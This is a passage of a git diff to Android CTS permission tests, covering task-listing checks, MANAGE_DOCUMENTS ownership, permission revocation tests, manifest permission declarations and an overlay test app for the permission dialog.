+        cv.put(MediaStore.Files.FileColumns.MIME_TYPE, "image/jpg");
+
+        Uri imageUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+
+        Uri fileUri = mContext.getContentResolver().insert(imageUri, cv);
+
+        OutputStream os = mContext.getContentResolver().openOutputStream(fileUri);
+        os.write("TEST".getBytes("UTF-8"));
+        os.close();
+
+        /* Wait for for the inotify events to be catched. A timeout occurs
+         * after 2 seconds. */
+        mCond.block(2000);
+
+        int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
+
+        /* Verify if the received events correspond to the ones that were requested */
+        assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
+                PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+
+        fileObserver.stopWatching();
+    }
+
+    static public class PathFileObserver extends FileObserver {
+        Map<String, Integer> mGeneratedEventsMap;
+        Map<String, Integer> mMonitoredEventsMap;
+        final ConditionVariable mCond;
+        final int mEventsMask;
+
+        public PathFileObserver(final File root, final int mask, ConditionVariable condition,
+                Map<String, Integer> monitoredFiles) {
+            super(root, FileObserver.ALL_EVENTS);
+
+            mEventsMask = mask;
+            mCond = condition;
+            mGeneratedEventsMap = new HashMap<>();
+            mMonitoredEventsMap = monitoredFiles;
+        }
+
+        public Map<String, Integer> getEvents() { return mGeneratedEventsMap; }
+
+        public void onEvent(final int event, final String path) {
+            /* There might be some extra flags introduced by inotify.h.  Remove
+             * them. */
+            final int filteredEvent = event & FileObserver.ALL_EVENTS;
+            if (filteredEvent == 0)
+                return;
+
+            /* Update the event bitmap of the associated file. */
+            mGeneratedEventsMap.put(
+                    path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
+
+            /* Release the condition variable only if at least all the matching
+             * events have been catched for every monitored file. */
+            for (String file : mMonitoredEventsMap.keySet()) {
+                int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
+                int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
+
+                if ((generatedEvents & monitoredEvents) != monitoredEvents)
+                    return;
+            }
+
+            mCond.open();
+        }
+
+        static public HashSet<String> eventsToSet(int events) {
+            HashSet<String> set = new HashSet<String>();
+            while (events != 0) {
+                int lowestEvent = Integer.lowestOneBit(events);
+
+                set.add(event2str(lowestEvent));
+                events &= ~lowestEvent;
+            }
+            return set;
+        }
+
+        static public String event2str(int event) {
+            switch (event) {
+                case FileObserver.ACCESS:
+                    return "ACCESS";
+                case FileObserver.ATTRIB:
+                    return "ATTRIB";
+                case FileObserver.CLOSE_NOWRITE:
+                    return "CLOSE_NOWRITE";
+                case FileObserver.CLOSE_WRITE:
+                    return "CLOSE_WRITE";
+                case FileObserver.CREATE:
+                    return "CREATE";
+                case FileObserver.DELETE:
+                    return "DELETE";
+                case FileObserver.DELETE_SELF:
+                    return "DELETE_SELF";
+                case FileObserver.MODIFY:
+                    return "MODIFY";
+                case FileObserver.MOVED_FROM:
+                    return "MOVED_FROM";
+                case FileObserver.MOVED_TO:
+                    return "MOVED_TO";
+                case FileObserver.MOVE_SELF:
+                    return "MOVE_SELF";
+                case FileObserver.OPEN:
+                    return "OPEN";
+                default:
+                    return "???";
+            }
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
index 4ae88c8..835ba12 100644
--- a/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
@@ -53,21 +53,23 @@
         ActivityManager manager = (ActivityManager) getActivity()
                 .getSystemService(Context.ACTIVITY_SERVICE);
         List<ActivityManager.RunningTaskInfo> runningTasks =  manager.getRunningTasks(10);
-        // Current implementation should only return tasks for home and the caller.
-        // We'll be done and task this to mean it shouldn't return more than 2.
+        // Current implementation should only return tasks for home and the caller. Since there can
+        // be multiple home tasks, we remove them from the list and then check that there is one or
+        // less task left in the list.
+        removeHomeRunningTasks(runningTasks);
         assertTrue("Found tasks: " + runningTasks,
-                runningTasks == null || runningTasks.size() <= 2);
+                runningTasks == null || runningTasks.size() <= 1);
 
         List<ActivityManager.RecentTaskInfo> recentTasks = manager.getRecentTasks(10,
                 ActivityManager.RECENT_WITH_EXCLUDED);
         // Current implementation should only return tasks for home and the caller. Since there can
         // be multiple home tasks, we remove them from the list and then check that there is one or
         // less task left in the list.
-        removeHomeTasks(recentTasks);
+        removeHomeRecentsTasks(recentTasks);
         assertTrue("Found tasks: " + recentTasks, recentTasks == null || recentTasks.size() <= 1);
     }
 
-    private void removeHomeTasks(List<ActivityManager.RecentTaskInfo> tasks) {
+    private void removeHomeRecentsTasks(List<ActivityManager.RecentTaskInfo> tasks) {
         for (int i = tasks.size() -1; i >= 0; i--) {
             ActivityManager.RecentTaskInfo task = tasks.get(i);
             if (task.baseIntent != null && isHomeIntent(task.baseIntent)) {
@@ -76,9 +78,19 @@
         }
     }
 
+    private void removeHomeRunningTasks(List<ActivityManager.RunningTaskInfo> tasks) {
+        for (int i = tasks.size() -1; i >= 0; i--) {
+            ActivityManager.RunningTaskInfo task = tasks.get(i);
+            if (task.baseIntent != null && isHomeIntent(task.baseIntent)) {
+                tasks.remove(i);
+            }
+        }
+    }
+
     private boolean isHomeIntent(Intent intent) {
         return Intent.ACTION_MAIN.equals(intent.getAction())
-                && intent.hasCategory(Intent.CATEGORY_HOME)
+                && (intent.hasCategory(Intent.CATEGORY_HOME)
+                || intent.hasCategory(Intent.CATEGORY_SECONDARY_HOME))
                 && intent.getCategories().size() == 1
                 && intent.getData() == null
                 && intent.getType() == null;
diff --git a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
index 959d3bd..6df8963 100644
--- a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
@@ -189,8 +189,8 @@
 
     /**
      * Verify that the {@link android.Manifest.permission#MANAGE_DOCUMENTS}
-     * permission is only held by exactly one package: whoever handles the
-     * {@link android.content.Intent#ACTION_OPEN_DOCUMENT} intent.
+     * permission is only held by up to one package: whoever handles the
+     * {@link android.content.Intent#ACTION_OPEN_DOCUMENT} intent, if any.
      * <p>
      * No other apps should <em>ever</em> attempt to acquire this permission,
      * since it would give those apps extremely broad access to all storage
@@ -207,16 +207,19 @@
         intent.addCategory(Intent.CATEGORY_OPENABLE);
         intent.setType("*/*");
         final ResolveInfo ri = pm.resolveActivity(intent, 0);
-        final String validPkg = ri.activityInfo.packageName;
 
-        final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(new String[] {
-                android.Manifest.permission.MANAGE_DOCUMENTS
-        }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
-        for (PackageInfo pi : holding) {
-            if (!Objects.equals(pi.packageName, validPkg)) {
-                fail("Exactly one package (must be " + validPkg
-                        + ") can request the MANAGE_DOCUMENTS permission; found package "
-                        + pi.packageName + " which must be revoked for security reasons");
+        if (ri != null) {
+            final String validPkg = ri.activityInfo.packageName;
+
+            final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(new String[] {
+                    android.Manifest.permission.MANAGE_DOCUMENTS
+                    }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+            for (PackageInfo pi : holding) {
+                if (!Objects.equals(pi.packageName, validPkg)) {
+                    fail("Exactly one package (must be " + validPkg
+                            + ") can request the MANAGE_DOCUMENTS permission; found package "
+                            + pi.packageName + " which must be revoked for security reasons");
+                }
             }
         }
     }
diff --git a/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt
new file mode 100644
index 0000000..dea2194
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.READ_CALENDAR
+import android.content.pm.PackageManager
+import android.content.pm.PackageManager.PERMISSION_GRANTED
+import android.os.Process
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Before
+import org.junit.Test
+
+class RevokePermissionTest {
+
+    private val APP_PKG_NAME = "android.permission.cts.appthatrequestcustompermission"
+    private val APK = "/data/local/tmp/cts/permissions/" +
+            "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk"
+
+    @Before
+    fun installApp() {
+        runShellCommand("pm install -r -g $APK")
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokePermission() {
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = READ_CALENDAR,
+                isGranted = true)
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokePermissionNotRequested() {
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = CAMERA,
+                throwableType = SecurityException::class.java,
+                throwableMessage = "has not requested permission")
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokeFakePermission() {
+        val fakePermissionName = "FAKE_PERMISSION"
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = fakePermissionName,
+                throwableType = java.lang.IllegalArgumentException::class.java,
+                throwableMessage = "Unknown permission: $fakePermissionName")
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokeFakePackage() {
+        val fakePackageName = "fake.package.name.which.should.not.exist"
+        assertPackageNotInstalled(fakePackageName)
+        testRevoke(
+                packageName = fakePackageName,
+                permission = READ_CALENDAR)
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokePermissionWithReason() {
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = READ_CALENDAR,
+                reason = "test reason",
+                isGranted = true)
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokePermissionNotRequestedWithReason() {
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = CAMERA,
+                reason = "test reason",
+                throwableType = SecurityException::class.java,
+                throwableMessage = "has not requested permission")
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokeFakePermissionWithReason() {
+        val fakePermissionName = "FAKE_PERMISSION"
+        testRevoke(
+                packageName = APP_PKG_NAME,
+                permission = fakePermissionName,
+                reason = "test reason",
+                throwableType = java.lang.IllegalArgumentException::class.java,
+                throwableMessage = "Unknown permission: $fakePermissionName")
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't revoke permissions.")
+    fun testRevokeFakePackageWithReason() {
+        val fakePackageName = "fake.package.name.which.should.not.exist"
+        assertPackageNotInstalled(fakePackageName)
+        testRevoke(
+                packageName = fakePackageName,
+                permission = READ_CALENDAR,
+                reason = "test reason")
+    }
+
+    @After
+    fun uninstallApp() {
+        runShellCommand("pm uninstall $APP_PKG_NAME")
+    }
+
+    private fun testRevoke(
+        packageName: String,
+        permission: String,
+        reason: String? = null,
+        isGranted: Boolean = false,
+        throwableType: Class<*>? = null,
+        throwableMessage: String = ""
+    ) {
+        val context = InstrumentationRegistry.getInstrumentation().targetContext
+        val pm = context.packageManager
+
+        if (isGranted) {
+            assertEquals(PERMISSION_GRANTED, pm.checkPermission(READ_CALENDAR, APP_PKG_NAME))
+        }
+
+        runWithShellPermissionIdentity {
+            if (throwableType == null) {
+                if (reason == null) {
+                    pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle())
+                } else {
+                    pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle(),
+                            reason)
+                }
+            } else {
+                try {
+                    if (reason == null) {
+                        pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle())
+                    } else {
+                        pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle(),
+                                reason)
+                    }
+                } catch (t: Throwable) {
+                    if (t::class.java.name == throwableType.name &&
+                            t.message!!.contains(throwableMessage)) {
+                        return@runWithShellPermissionIdentity
+                    }
+                    throw RuntimeException("Unexpected throwable", t)
+                }
+                throw RuntimeException("revokeRuntimePermission expected to throw.")
+            }
+        }
+    }
+
+    private fun assertPackageNotInstalled(packageName: String) {
+        val context = InstrumentationRegistry.getInstrumentation().targetContext
+        val pm = context.packageManager
+        try {
+            pm.getPackageInfo(packageName, 0)
+            throw RuntimeException("$packageName exists on this device")
+        } catch (e: PackageManager.NameNotFoundException) {
+            // Expected
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/telephony/src/android/permission/cts/telephony/TelephonyManagerPermissionTest.java b/tests/tests/permission/telephony/src/android/permission/cts/telephony/TelephonyManagerPermissionTest.java
index b13a00a..53fb783 100644
--- a/tests/tests/permission/telephony/src/android/permission/cts/telephony/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/telephony/src/android/permission/cts/telephony/TelephonyManagerPermissionTest.java
@@ -181,25 +181,6 @@
         assertEquals(audioMode, mAudioManager.getMode());
     }
 
-    /**
-     * Verify that TelephonyManager.setDataEnabled requires Permission.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#MODIFY_PHONE_STATE}.
-     */
-    @Test
-    public void testSetDataEnabled() {
-        if (!mHasTelephony) {
-            return;
-        }
-        try {
-            mTelephonyManager.setDataEnabled(false);
-            fail("Able to set data enabled");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
      /**
      * Tests that isManualNetworkSelectionAllowed requires permission
      * Expects a security exception since the caller does not have carrier privileges.
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index b197fc5..cbcaf24 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2172,6 +2172,11 @@
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows to query ongoing call details and manage ongoing calls
+        <p>Protection level: signature|appop -->
+    <permission android:name="android.permission.MANAGE_ONGOING_CALLS"
+        android:protectionLevel="signature|appop" />
+
     <!-- Allows the app to request network scans from telephony.
          <p>Not for use by third-party applications.
          @SystemApi @hide-->
@@ -3006,6 +3011,12 @@
     <permission android:name="android.permission.DUMP"
         android:protectionLevel="signature|privileged|development" />
 
+    <!-- Allows an application to start tracing for InputMethod and WindowManager.
+    <p>Not for use by third-party applications.
+    @hide -->
+    <permission android:name="android.permission.CONTROL_UI_TRACING"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- Allows an application to read the low-level system log files.
     <p>Not for use by third-party applications, because
     Log entries can contain the user's private information. -->
@@ -5020,6 +5031,10 @@
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
 
+    <!-- @hide Allows an application to create/destroy input consumer. -->
+    <permission android:name="android.permission.INPUT_CONSUMER"
+                android:protectionLevel="signature" />
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 51d52c4..d3f6942 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -69,6 +69,9 @@
     private static final String MANAGE_COMPANION_DEVICES_PERMISSION
             = "android.permission.MANAGE_COMPANION_DEVICES";
 
+    private static final Date INPUT_CONSUMER_PATCH_DATE = parseDate("2020-12-05");
+    private static final String INPUT_CONSUMER_PERMISSION = "android.permission.INPUT_CONSUMER";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -117,6 +120,11 @@
         for (ExpectedPermissionInfo expectedPermission : expectedPermissions) {
             String expectedPermissionName = expectedPermission.name;
             if (shouldSkipPermission(expectedPermissionName)) {
+                // This permission doesn't need to exist yet, but will exist in
+                // a future SPL. It is acceptable to declare the permission
+                // even in an earlier SPL, so we remove it here so it doesn't
+                // trigger a failure after the loop.
+                declaredPermissionsMap.remove(expectedPermissionName);
                 continue;
             }
 
@@ -446,6 +454,8 @@
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            case INPUT_CONSUMER_PERMISSION:
+                return parseDate(SECURITY_PATCH).before(INPUT_CONSUMER_PATCH_DATE);
             default:
                 return false;
         }
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
index 2a61e12..89bb1da 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
@@ -1,6 +1,10 @@
 package android.permission3.cts.usepermission
 
 import android.app.Activity
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
 import android.os.Bundle
 import android.view.WindowManager
 
@@ -14,5 +18,15 @@
                 WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL or
                 WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE or
                 WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
+
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                if (intent?.action != RequestPermissionsActivity.ACTION_HIDE_OVERLAY) {
+                    return
+                }
+
+                finish()
+            }
+        }, IntentFilter(RequestPermissionsActivity.ACTION_HIDE_OVERLAY))
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
index 0d29202..54155f6 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
@@ -17,15 +17,29 @@
 package android.permission3.cts.usepermission
 
 import android.app.Activity
+import android.content.BroadcastReceiver
+import android.content.Context
 import android.content.Intent
+import android.content.IntentFilter
 import android.os.Bundle
 import android.os.Handler
 
 class RequestPermissionsActivity : Activity() {
+
     var paused = false
 
     override fun onCreate(savedInstanceState: Bundle?) {
         super.onCreate(savedInstanceState)
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                if (intent?.action != ACTION_SHOW_OVERLAY) {
+                    return
+                }
+
+                startActivity(Intent(context, OverlayActivity::class.java)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+            }
+        }, IntentFilter(ACTION_SHOW_OVERLAY))
         Handler(mainLooper).post(this::eventuallyRequestPermission)
     }
 
@@ -34,11 +48,7 @@
      * due to rapid install/uninstall tests do
      */
     private fun eventuallyRequestPermission() {
-        if (paused) {
-            // Grant dialog should be in front at this point
-            startActivity(Intent(this, OverlayActivity::class.java)
-                    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
-        } else {
+        if (!paused) {
             val permissions = intent.getStringArrayExtra("$packageName.PERMISSIONS")!!
             requestPermissions(permissions, 1)
             Handler(mainLooper).postDelayed(this::eventuallyRequestPermission, 200)
@@ -68,4 +78,9 @@
         paused = false
         super.onResume()
     }
+
+    companion object {
+        const val ACTION_SHOW_OVERLAY = "android.permission3.cts.usepermission.ACTION_SHOW_OVERLAY"
+        const val ACTION_HIDE_OVERLAY = "android.permission3.cts.usepermission.ACTION_HIDE_OVERLAY"
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 5cd5c4f..3af1b50 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -38,6 +38,7 @@
 import org.junit.Before
 import org.junit.Rule
 import java.util.concurrent.CompletableFuture
+import java.util.regex.Pattern
 
 abstract class BasePermissionTest {
     companion object {
@@ -90,9 +91,11 @@
         pressHome()
     }
 
-    protected fun getPermissionControllerString(res: String): String =
-            mPermissionControllerResources.getString(mPermissionControllerResources
-                    .getIdentifier(res, "string", "com.android.permissioncontroller"))
+    protected fun getPermissionControllerString(res: String): Pattern =
+            Pattern.compile(Pattern.quote(mPermissionControllerResources.getString(
+                    mPermissionControllerResources.getIdentifier(
+                            res, "string", "com.android.permissioncontroller"))),
+                    Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
 
     protected fun installPackage(
         apkPath: String,
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8aedb6d..cb181e3 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -88,108 +88,54 @@
     protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
-    private val permissionToLabelResNameMap =
-        if (!packageManager.arePermissionsIndividuallyControlled()) {
-            mapOf(
-                // Contacts
-                android.Manifest.permission.READ_CONTACTS
+    private val permissionToLabelResNameMap = mapOf(
+            // Contacts
+            android.Manifest.permission.READ_CONTACTS
                     to "@android:string/permgrouplab_contacts",
-                android.Manifest.permission.WRITE_CONTACTS
+            android.Manifest.permission.WRITE_CONTACTS
                     to "@android:string/permgrouplab_contacts",
-                // Calendar
-                android.Manifest.permission.READ_CALENDAR
+            // Calendar
+            android.Manifest.permission.READ_CALENDAR
                     to "@android:string/permgrouplab_calendar",
-                android.Manifest.permission.WRITE_CALENDAR
+            android.Manifest.permission.WRITE_CALENDAR
                     to "@android:string/permgrouplab_calendar",
-                // SMS
-                android.Manifest.permission.SEND_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.READ_SMS to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_WAP_PUSH to "@android:string/permgrouplab_sms",
-                android.Manifest.permission.RECEIVE_MMS to "@android:string/permgrouplab_sms",
-                "android.permission.READ_CELL_BROADCASTS" to "@android:string/permgrouplab_sms",
-                // Storage
-                android.Manifest.permission.READ_EXTERNAL_STORAGE
+            // SMS
+            android.Manifest.permission.SEND_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.READ_SMS to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_WAP_PUSH to "@android:string/permgrouplab_sms",
+            android.Manifest.permission.RECEIVE_MMS to "@android:string/permgrouplab_sms",
+            "android.permission.READ_CELL_BROADCASTS" to "@android:string/permgrouplab_sms",
+            // Storage
+            android.Manifest.permission.READ_EXTERNAL_STORAGE
                     to "@android:string/permgrouplab_storage",
-                android.Manifest.permission.WRITE_EXTERNAL_STORAGE
+            android.Manifest.permission.WRITE_EXTERNAL_STORAGE
                     to "@android:string/permgrouplab_storage",
-                // Location
-                android.Manifest.permission.ACCESS_FINE_LOCATION
+            // Location
+            android.Manifest.permission.ACCESS_FINE_LOCATION
                     to "@android:string/permgrouplab_location",
-                android.Manifest.permission.ACCESS_COARSE_LOCATION
+            android.Manifest.permission.ACCESS_COARSE_LOCATION
                     to "@android:string/permgrouplab_location",
-                // Phone
-                android.Manifest.permission.READ_PHONE_STATE
+            // Phone
+            android.Manifest.permission.READ_PHONE_STATE
                     to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.CALL_PHONE to "@android:string/permgrouplab_phone",
-                "android.permission.ACCESS_IMS_CALL_SERVICE"
+            android.Manifest.permission.CALL_PHONE to "@android:string/permgrouplab_phone",
+            "android.permission.ACCESS_IMS_CALL_SERVICE"
                     to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.READ_CALL_LOG to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.WRITE_CALL_LOG to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.USE_SIP to "@android:string/permgrouplab_phone",
-                android.Manifest.permission.PROCESS_OUTGOING_CALLS
+            android.Manifest.permission.READ_CALL_LOG to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.WRITE_CALL_LOG to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.USE_SIP to "@android:string/permgrouplab_phone",
+            android.Manifest.permission.PROCESS_OUTGOING_CALLS
                     to "@android:string/permgrouplab_phone",
-                // Microphone
-                android.Manifest.permission.RECORD_AUDIO
+            // Microphone
+            android.Manifest.permission.RECORD_AUDIO
                     to "@android:string/permgrouplab_microphone",
-                // Camera
-                android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
-                // Body sensors
-                android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
-            )
-        } else {
-            mapOf(
-                // Contacts
-                android.Manifest.permission.READ_CONTACTS to "@android:string/permlab_readContacts",
-                android.Manifest.permission.WRITE_CONTACTS
-                    to "@android:string/permlab_writeContacts",
-                // Calendar
-                android.Manifest.permission.READ_CALENDAR
-                    to "@android:string/permgrouplab_calendar",
-                android.Manifest.permission.WRITE_CALENDAR
-                    to "@android:string/permgrouplab_calendar",
-                // SMS
-                android.Manifest.permission.SEND_SMS to "@android:string/permlab_sendSms",
-                android.Manifest.permission.RECEIVE_SMS to "@android:string/permlab_receiveSms",
-                android.Manifest.permission.READ_SMS to "@android:string/permlab_readSms",
-                android.Manifest.permission.RECEIVE_WAP_PUSH
-                    to "@android:string/permlab_receiveWapPush",
-                android.Manifest.permission.RECEIVE_MMS to "@android:string/permlab_receiveMms",
-                "android.permission.READ_CELL_BROADCASTS"
-                    to "@android:string/permlab_readCellBroadcasts",
-                // Storage
-                android.Manifest.permission.READ_EXTERNAL_STORAGE
-                    to "@android:string/permgrouplab_storage",
-                android.Manifest.permission.WRITE_EXTERNAL_STORAGE
-                    to "@android:string/permgrouplab_storage",
-                // Location
-                android.Manifest.permission.ACCESS_FINE_LOCATION
-                    to "@android:string/permgrouplab_location",
-                android.Manifest.permission.ACCESS_COARSE_LOCATION
-                    to "@android:string/permgrouplab_location",
-                // Phone
-                android.Manifest.permission.READ_PHONE_STATE
-                    to "@android:string/permlab_readPhoneState",
-                android.Manifest.permission.CALL_PHONE to "@android:string/permlab_callPhone",
-                "android.permission.ACCESS_IMS_CALL_SERVICE"
-                    to "@android:string/permlab_accessImsCallService",
-                android.Manifest.permission.READ_CALL_LOG to "@android:string/permlab_readCallLog",
-                android.Manifest.permission.WRITE_CALL_LOG
-                    to "@android:string/permlab_writeCallLog",
-                android.Manifest.permission.ADD_VOICEMAIL to "@android:string/permlab_addVoicemail",
-                android.Manifest.permission.USE_SIP to "@android:string/permlab_use_sip",
-                android.Manifest.permission.PROCESS_OUTGOING_CALLS
-                    to "@android:string/permlab_processOutgoingCalls",
-                // Microphone
-                android.Manifest.permission.RECORD_AUDIO
-                    to "@android:string/permgrouplab_microphone",
-                // Camera
-                android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
-                // Body sensors
-                android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
-            )
-        }
+            // Camera
+            android.Manifest.permission.CAMERA to "@android:string/permgrouplab_camera",
+            // Body sensors
+            android.Manifest.permission.BODY_SENSORS to "@android:string/permgrouplab_sensors"
+    )
 
     @Before
     @After
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
index f0b1f80..6b8678d 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionReviewTest.kt
@@ -28,6 +28,7 @@
 import androidx.test.runner.AndroidJUnit4
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
+import org.junit.Assume
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
@@ -36,6 +37,12 @@
 
 @RunWith(AndroidJUnit4::class)
 class PermissionReviewTest : BaseUsePermissionTest() {
+
+    @Before
